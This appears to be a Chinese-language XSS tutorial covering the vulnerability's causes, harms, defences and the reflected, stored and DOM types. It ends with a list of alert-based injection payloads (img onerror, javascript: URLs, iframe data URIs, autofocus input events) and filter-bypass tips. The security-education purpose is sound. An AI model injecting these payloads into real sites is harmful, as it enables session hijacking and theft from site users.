一、初识XSS
1、什么是XSS
XSS全称跨站脚本(Cross Site Scripting),为避免与层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS。这是一种将任意 Javascript 代码插入到其他Web用户页面里执行以达到攻击目的的漏洞。攻击者利用浏览器的动态展示数据功能,在HTML页面里嵌入恶意代码。当用户浏览改页时,这些潜入在HTML中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的,如 cookie窃取等。
2、XSS产生原因、漏洞原理
形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。
3、XSS会造成哪些危害?
攻击者通过Web应用程序发送恶意代码,一般以浏览器脚本的形式发送给不同的终端用户。当一个Web程序的用户输入点没有进行校验和编码,将很容易导致XSS。
1、网络钓鱼,包括获取各类用户账号
2、窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;
3、劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、强制发表日志、电子邮件等
4、网页挂马;
5、获取客户端信息,如用户的浏览历史、真实p、开放端口等
6、强制弹出广告页面、刷流量等
7、进行恶意操作,如任意篡改页面信息、删除文章等
8、进行大量的客户端攻击,如ddos等
9、结合其他漏洞,如csrf,实施进步危害;
10、提升用户权限,包括进一步渗透网站
11、控制受害者机器向其他网站发起攻击;
12、传播跨站脚本蠕虫等
4、XSS的防御
形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理: 输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入; 输出转义:根据输出点的位置对输出到前端的内容进行适当转义;
5、XSS常见出现的地方
1、数据输出的地方
输入用户资料
关键词、标签、说明
文件上传的地方(如头像等)
2、数据交互的地方
Get、Post、cookies、headers等
反馈与浏览处
富文本编辑器处
各类标签插入和自定义处
6、XSS的分类
①、反射型XSS
又称非持久型XSS,这种攻击方式往往具有一次性,只在用户单击时触发。跨站代码一般存在链接中,当受害者请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码通常不存储服务端
产生原因: 漏洞产生原因一般是网站只是简单地将用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行输岀,导致输岀的欻据中存在可被浏览器执行的代码数据
攻击流程:
First:攻击者寻找具有漏洞的网站
--->攻击者给用户发了一个带有恶意字符串的链接
--->用户点击了该链接
--->服务器返回HTML文档,此时该文档已经包含了那个恶意字符串
--->客户端执行了植入的恶意脚本,XSS攻击就发生
②、存储型XSS
存储型XSS( Stored xss Attacks),也是持久型XSS,比反射型XSS更具有威胁性。。攻击脚本将被永久的存放在目标服务器的数据库或文件中。这是利用起来最方便的跨站类型,跨站代码存储于服务端(比如数据库中)
产生原因:造成漏洞原因一般是由于Web应用程序对用户输入数据的不严格,导致Web应用程序将黑客输入的恶意跨站攻击数据信息保存在服务端的数据库或其他文件形式中。
攻击流程:
First:用户提交了一条包含XSS代码的留言到数据库—>当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来
浏览器发现有XSS代码,就当做正常的HTML和JS解析执行
③、DOM型XSS
DoM是文档对象模型( Document Object Model)的缩写。它是HTML文档的对象表示,同时也是外部内容(例如 JavaScript)与HTML元素之间的接口。解析树的根节点是“ Document”对象。DOM( Document object model),使用DOM能够使程序和脚本能够动态访问和更新文档的内容、结构和样式。
它是基于DoM文档对象的一种漏洞,并且DOM型XSS是基于JS上的,并不需要与服务器进行交互。
其通过修改页面DOM节点数据信息而形成的ⅩSS跨站脚本攻击。不同于反射型XSS和存储型XSS,基于DOM的XSS跨站脚本攻击往往需要针对具体的 Javascript DOM代码进行分析,并根据实际情况进行XSS跨站脚本攻击的利用。
一种基于DOM的跨站,这是客户端脚本本身解析不正确导致的安全问题
攻击流程:
--->攻击者寻找具有漏洞的网站
--->攻击者给用户发了一个带有恶意字符串的链接
--->用户点击了该链接
--->服务器返回HTML文档,但是该文档此时不包含那个恶意字符串
--->客户端执行了该HTML文档里的脚本,然后把恶意脚本植入了页面
--->客服端执行了植入的恶意脚本,XSS攻击就发生了
7、常见标签
<img>
标签
图片加载错误时触发 <img src="x" onerror=alert(1)> <img src="1" onerror=eval("alert('xss')")> 鼠标指针移动到元素时触发 <img src=1 onmouseover="alert(1)"> 鼠标指针移出时触发 <img src=1 onmouseout="alert(1)">
<a>
标签
<a href="https://www.qq.com">qq</a> <a href=javascript:alert('xss')>test</a> <a href="javascript:a" onmouseover="alert(/xss/)">aa</a> <a href="" onclick=alert('xss')>a</a> <a href="" onclick=eval(alert('xss'))>aa</a> <a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
<form>
标签
<form action=javascript:alert('xss') method="get"> <form action=javascript:alert('xss')> <form method=post action=aa.asp? onmouseover=prompt('xss')> <form method=post action=aa.asp? onmouseover=alert('xss')> <form action=1 onmouseover=alert('xss)> <form method=post action="data:text/html;base64,<script>alert('xss')</script>"> <form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe>
标签
<iframe onload=alert("xss");></iframe> <iframe src=javascript:alert('xss')></iframe> <iframe src="data:text/html,<script>alert('xss')</script>"></iframe> <iframe src="data:text/html;base64,<script>alert('xss')</script>"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="> <iframe src="aaa" onmouseover=alert('xss') /><iframe> <iframe src="javascript:prompt(``xss``)"></iframe>(````只有两个``)
<svg>
标签
<svg onload=alert(1)>
<input>
标签
<input onfocus="alert('xss');"> 竞争焦点,从而触发onblur事件 <input onblur=alert("xss") autofocus><input autofocus> 通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发 <input onfocus="alert('xss');" autofocus> <input name="name" value=""> <input value="" onclick=alert('xss') type="text"> <input name="name" value="" onmouseover=prompt('xss') bad=""> <input name="name" value=""><script>alert('xss')</script> 按下按键时触发 <input type="text" onkeydown="alert(1)"> 按下按键时触发 <input type="text" onkeypress="alert(1)"> 松开按键式时触发 <input type="text" onkeyup="alert(1)">
8、XSS总结与拓展
1、输岀在JS中,空格被过滤:使用/**/或者/
代替空格
2、输入在标签间的情况下:测试<>
是否被过滤或转义,若没有被过滤可直接<img src=1 onerror=alert(1)>。等等
参考资料
1、https://www.vulnerability-lab.com/resources/documents/531.txt
2、https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
3、https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
4、https://cure53.de/fp170.pdf
5、https://xss.pwnfunction.com/
6、https://www.*******.com/watch?v=5W-zGBKvLxk
暂无评论内容